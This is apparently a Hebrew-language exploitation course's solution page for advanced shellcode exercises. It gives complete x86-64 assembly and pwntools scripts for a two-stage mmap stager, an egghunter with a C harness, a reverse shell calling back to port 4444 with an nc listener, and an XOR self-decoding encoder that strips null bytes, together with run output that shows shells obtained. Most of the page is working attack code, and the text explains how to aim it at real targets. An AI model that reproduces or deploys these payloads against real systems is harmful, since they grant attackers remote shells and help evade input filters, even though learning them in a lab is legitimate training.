לדלג לתוכן

3.4 shellcode מתקדם פתרון

פתרון - shellcode מתקדם

בפתרון נעבור על כל תרגיל עם האסמבלי המלא, קוד ההרכבה, וההוכחה שזה עובד. בסוף כל תרגיל נסביר למה זה עבד ואיך להכליל. כל הקוד רץ מקומית על x86-64.

פתרון תרגיל 1 - stager שקורא ומריץ שלב שני

נשתמש ב-stager מבוסס mmap, כי הוא יוצר לעצמו אזור RWX ולכן עובד גם אם המחסנית לא ניתנת להרצה - וזה המקרה תחת run_shellcode. ה-stager יוצר עמוד, קורא אליו את שלב 2 מ-stdin, וקופץ אליו.

from pwn import *
context.arch = 'amd64'

stager = asm('''
    push 9
    pop  rax          /* SYS_mmap */
    xor  edi, edi      /* addr = 0 */
    push 1
    pop  rsi
    shl  rsi, 12       /* length = 0x1000 */
    push 7
    pop  rdx           /* prot = RWX */
    push 0x22
    pop  r10           /* MAP_PRIVATE|MAP_ANONYMOUS */
    xor  r8d, r8d
    dec  r8            /* fd = -1 */
    xor  r9d, r9d      /* offset = 0 */
    syscall            /* rax = page */
    mov  r13, rax
    xor  edi, edi      /* fd = 0 (stdin) */
    mov  rsi, r13      /* buf = page */
    push 1
    pop  rdx
    shl  rdx, 12       /* count = 0x1000 */
    xor  eax, eax      /* SYS_read */
    syscall
    jmp  r13           /* run stage-2 */
''')

print(len(stager), 'bytes')     # roughly 41 bytes

# stage 2: execve("/bin/sh")
stage2 = asm(shellcraft.amd64.linux.sh())

p = run_shellcode(stager)
p.send(stage2)                  # the stager reads this into RWX and jumps to it
import time; time.sleep(0.3)    # so the read returns before we send commands
p.sendline(b'id')
print(p.recvline())             # uid=... gid=...
p.interactive()

הגרסה המינימלית מהתרגיל (קוראת אל המחסנית וקופצת) עובדת רק כשהמחסנית ניתנת להרצה, למשל בבינארי שקומפל עם -z execstack:

stager_min:
    xor  edi, edi      ; fd = 0
    mov  rsi, rsp      ; buf = the stack
    push 1
    pop  rdx
    shl  rdx, 12       ; count = 0x1000
    xor  eax, eax      ; SYS_read
    syscall
    jmp  rsi           ; jumps to stage 2

היא כ-15 בתים בלבד, אבל אם המחסנית לא מריצה (NX פעיל) הקפיצה אליה תיפול. לכן לבדיקה תחת run_shellcode אנחנו מעדיפים את גרסת ה-mmap.

למה זה עבד: ה-stager הקטן נכנס במקום צר, וכל מה שהוא עושה הוא לקרוא עוד בתים מאותו ערוץ ולקפוץ אליהם. ה-send(stage2) הוא בדיוק ה"שלב השני" שה-read בולע. ה-sleep דרוש כדי שה-read יחזור עם שלב 2 בלבד, לפני שנשלח את id שאמור להגיע ל-shell ולא ל-stager. איך להכליל: על יעד אמיתי, ה-fd של ה-read הוא לרוב ה-fd של הסוקט ולא 0, אבל התבנית זהה: injection קטנה שמושכת payload גדול. זו הדרך הסטנדרטית לעקוף מגבלת מקום בinjection.

פתרון תרגיל 2 - egghunter

ה-egghunter סורק את הזיכרון בעזרת access (שלא קורס על עמוד לא חוקי אלא מחזיר EFAULT), ומחפש שני עותקים רצופים של ה-egg 0x90509050. כשמצא, הוא קופץ ל-8 בתים אחרי תחילת ה-egg, אל הpayload האמיתי.

egghunter:
    cld
    xor  rdx, rdx          ; current address = 0
next_page:
    or   dx, 0xfff         ; to the end of the page
next_addr:
    inc  rdx               ; one byte forward
    lea  rdi, [rdx+4]      ; address to check
    push 21
    pop  rax               ; SYS_access
    syscall
    cmp  al, 0xf2          ; EFAULT?
    jz   next_page         ; invalid page - skip
    mov  eax, 0x90509050   ; the egg
    mov  rdi, rdx
    scasd                  ; [rdi] == egg ? rdi += 4
    jnz  next_addr
    scasd                  ; the second copy
    jnz  next_addr
    jmp  rdi               ; found - jumps to the payload

מייצרים את הבתים של ה-egghunter ושל הpayload (egg כפול + execve shellcode), ומדפיסים אותם בפורמט מוכן להדבקה ל-C:

from pwn import *
context.arch = 'amd64'

# the same egghunter, as a clean string for asm (without ';' comments that the GAS parser doesn't tolerate)
hunter = asm('''
    cld
    xor  rdx, rdx
next_page:
    or   dx, 0xfff
next_addr:
    inc  rdx
    lea  rdi, [rdx+4]
    push 21
    pop  rax
    syscall
    cmp  al, 0xf2
    jz   next_page
    mov  eax, 0x90509050
    mov  rdi, rdx
    scasd
    jnz  next_addr
    scasd
    jnz  next_addr
    jmp  rdi
''')

egg    = p32(0x90509050) * 2          # \x50\x90\x50\x90 twice
shell  = asm(shellcraft.amd64.linux.sh())
payload = egg + shell

cstr = lambda b: ''.join('\\x%02x' % x for x in b)
print('hunter :', cstr(hunter))
print('payload:', cstr(payload))

שימו לב: ההערות בסגנון ; שבתצוגת האסמבלי למעלה נועדו לקריאה בלבד. כשמעבירים אסמבלי ל-asm() של pwntools (שמשתמש ב-GAS בתחביר אינטל), נקודה-פסיק אינה הערה אלא מפריד הוראות, אז מעבירים מחרוזת נקייה או הערות בסגנון /* ... */.

וה-harness ב-C. הוא מטמין את הpayload בכתובת נמוכה קבועה (0x100000) כדי שהסריקה תגיע אליו מהר. שימו לב: ב-x86-64 מרחב הכתובות עצום, וסריקה מ-0 עד הערמה הרגילה איטית מדי, לכן בדמו אנחנו שמים את ה-egg נמוך. על יעד אמיתי נותנים ל-egghunter נקודת התחלה סבירה או מסתמכים על כך שהpayload יושב באזור נגיש.

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char hunter[]  = "\xfc\x48\x31\xd2...";   /* paste hunter here */
unsigned char payload[] = "\x50\x90\x50\x90...";   /* paste payload here */

int main(void) {
    /* stash the payload at a fixed low address */
    void *stash = mmap((void*)0x100000, 0x1000,
                       PROT_READ | PROT_WRITE,
                       MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
    memcpy(stash, payload, sizeof(payload));

    /* run the egghunter from an RWX page */
    void *page = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_ANON | MAP_PRIVATE, -1, 0);
    memcpy(page, hunter, sizeof(hunter));
    ((void (*)(void))page)();
    return 0;
}
gcc -no-pie -o egg_harness egg_harness.c
./egg_harness
# id
uid=1000(user) gid=1000(user) ...

למה זה עבד: ה-access מדלג במהירות על כל העמודים הלא ממופים בין 0 ל-0x100000 (קריאת מערכת אחת לכל עמוד), ומגיע לעמוד שהטמנו בו את הpayload. שם scasd כפול מוודא שמצאנו את ה-egg האמיתי ולא התאמה מקרית - ולכן גם ה-mov eax, 0x90509050 שבתוך ה-egghunter עצמו לא מבלבל אותו, כי הוא עותק בודד ולא כפול. איך להכליל: egghunter חסין ל-ASLR לגמרי, כי אנחנו סורקים ולא מנחשים כתובת. זו הטכניקה כשיש מקום גדול לpayload אבל אין דרך לדעת את כתובתו.

פתרון תרגיל 3 - reverse shell

הרצף המלא: פותחים סוקט, מתחברים ל-127.0.0.1:4444, מפנים אליו את שלושת ה-fd הסטנדרטיים, ומריצים /bin/sh.

_start:
    ; sockfd = socket(AF_INET, SOCK_STREAM, 0)
    push 41
    pop  rax               ; SYS_socket
    push 2
    pop  rdi               ; AF_INET
    push 1
    pop  rsi               ; SOCK_STREAM
    xor  edx, edx
    syscall
    mov  rdi, rax          ; rdi = sockfd

    ; connect(sockfd, &sockaddr, 16)
    xor  eax, eax
    push rax               ; sin_zero
    mov  rax, 0x0100007f5c110002   ; family=2, port=4444, ip=127.0.0.1
    push rax
    mov  rsi, rsp
    push 16
    pop  rdx
    push 42
    pop  rax               ; SYS_connect
    syscall

    ; dup2(sockfd, 2/1/0)
    push 2
    pop  rsi
dup_loop:
    push 33
    pop  rax               ; SYS_dup2
    syscall
    dec  rsi
    jns  dup_loop

    ; execve("/bin//sh", 0, 0)
    xor  edx, edx
    push rdx
    mov  rbx, 0x68732f2f6e69622f
    push rbx
    mov  rdi, rsp
    xor  esi, esi
    push 59
    pop  rax               ; SYS_execve
    syscall

הרכבה והרצה. בטרמינל אחד מאזינים, בשני מריצים:

from pwn import *
context.arch = 'amd64'

# the same code as a clean string for asm (the comments above are just for display)
sc = asm('''
    push 41
    pop  rax
    push 2
    pop  rdi
    push 1
    pop  rsi
    xor  edx, edx
    syscall
    mov  rdi, rax
    xor  eax, eax
    push rax
    mov  rax, 0x0100007f5c110002
    push rax
    mov  rsi, rsp
    push 16
    pop  rdx
    push 42
    pop  rax
    syscall
    push 2
    pop  rsi
dup_loop:
    push 33
    pop  rax
    syscall
    dec  rsi
    jns  dup_loop
    xor  edx, edx
    push rdx
    mov  rbx, 0x68732f2f6e69622f
    push rbx
    mov  rdi, rsp
    xor  esi, esi
    push 59
    pop  rax
    syscall
''')
print(len(sc), 'bytes')        # roughly 74 bytes
run_shellcode(sc).interactive()
# terminal 1
nc -lvnp 4444
# terminal 2
python3 revshell.py
# back to terminal 1 - we got a shell:
# id
# uid=1000(user) ...

אפשר גם לייצר את אותו הדבר עם shellcraft בלי לכתוב ידנית, וזה שימושי לבדיקה מול הגרסה שלכם:

from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.amd64.linux.connect('127.0.0.1', 4444) +
         shellcraft.amd64.linux.dupsh('rbp'))
print(disasm(sc))

למה זה עבד: שמרנו את ה-sockfd ב-rdi מיד אחרי socket, כי גם connect וגם dup2 צריכים אותו שם. את sockaddr_in בנינו על המחסנית - קודם 8 בתי האפס של sin_zero, ואז ה-qword 0x0100007f5c110002 שמקודד family+port+ip בסדר הנכון. לולאת ה-dup2 עם dec rsi; jns רצה בדיוק עבור 2,1,0 ועוצרת על -1, ומפנה את כל שלושת ה-fd לסוקט. איך להכליל: זה שלד קבוע לכל reverse shell - רק ה-IP והפורט משתנים. שימו לב שיש בו בתי אפס (ב-immediate של ה-sockaddr וב-"/bin//sh"), אז מול וקטור רגיש לאפסים תצטרכו לקודד אותו, וזה בדיוק מה שנעשה בתרגיל הבא.

פתרון תרגיל 4 (אתגר) - מפענח XOR שמשנה את עצמו

לוקחים את בתי ה-reverse shell, מחפשים מפתח XOR שלא מייצר אף בית אפס בpayload המקודד, ועוטפים במפענח jmp/call/pop שמשחזר את הקוד במקום וקופץ אליו.

from pwn import *
context.arch = 'amd64'

# the real payload - reverse shell (or any shellcode)
stage2 = asm(shellcraft.amd64.linux.connect('127.0.0.1', 4444) +
             shellcraft.amd64.linux.dupsh('rbp'))

# find a key whose encoding is free of zero bytes
for key in range(1, 256):
    encoded = bytes(b ^ key for b in stage2)
    if b'\x00' not in encoded:
        break
log.info('key=0x%02x, len=%d', key, len(encoded))

# decoder: pop the address of the encoded payload, XOR each byte in place, then jmp to it
stub = asm(f'''
    jmp  call_enc
decode:
    pop  rsi
    mov  rdi, rsi          /* save the start */
    xor  ecx, ecx
    mov  cl, {len(encoded)}
loop_dec:
    xor  byte ptr [rsi], {key}
    inc  rsi
    dec  cl
    jnz  loop_dec
    jmp  rdi               /* jumps to the decoded code */
call_enc:
    call decode            /* pushes the address of the encoded data that follows */
''')

blob = stub + encoded
print(len(blob), 'bytes total')
assert b'\x00' not in blob, 'a zero byte remains!'

run_shellcode(blob).interactive()

הטריק הוא ש-call decode דוחף למחסנית את כתובת הבתים שמיד אחריו (הpayload המקודד). בתוך decode שולפים אותה ל-rsi, שומרים עותק ב-rdi, מפענחים בלולאה כל בית עם ה-XOR, ואז jmp rdi קופץ לקוד שכבר פוענח. שמים לב שהpayload המקודד מצורף כבתים גולמיים אחרי ה-stub המורכב, ולא כהוראות אסמבלי - כי הם לא קוד חוקי עד שמפענחים אותם.

בטרמינל נפרד מאזינים עם nc -lvnp 4444, מריצים את הסקריפט, ומקבלים את ה-shell המפוענח.

למה זה עבד: מצאנו מפתח XOR שהופך את הpayload ל"נקי" (בלי אפסים), והמפענח עצמו כתוב בהוראות שגם הן נקיות. תבנית ה-jmp/call/pop נותנת את כתובת הpayload בלי כתובת מוחלטת, כך שהכל עצמאי במיקום. הכתיבה על הקוד עצמו (xor byte ptr [rsi]) עובדת כי הטוען מקצה עמוד RWX. איך להכליל: זו הבסיס לכל encoder אמיתי (למשל shikata ga nai של metasploit) - decoder קטן שעומד בהגבלות, ו-payload מקודד שמשוחזר בזמן ריצה. מול הגבלה קשה יותר (תווים מודפסים או אלפאנומריים בלבד, פרק 3.3) המפענח עצמו נכתב בתת-קבוצת ההוראות המותרת, אבל הרעיון זהה. וזכרו: על יעד W^X היינו מפענחים לאזור RWX נפרד במקום על עצמנו.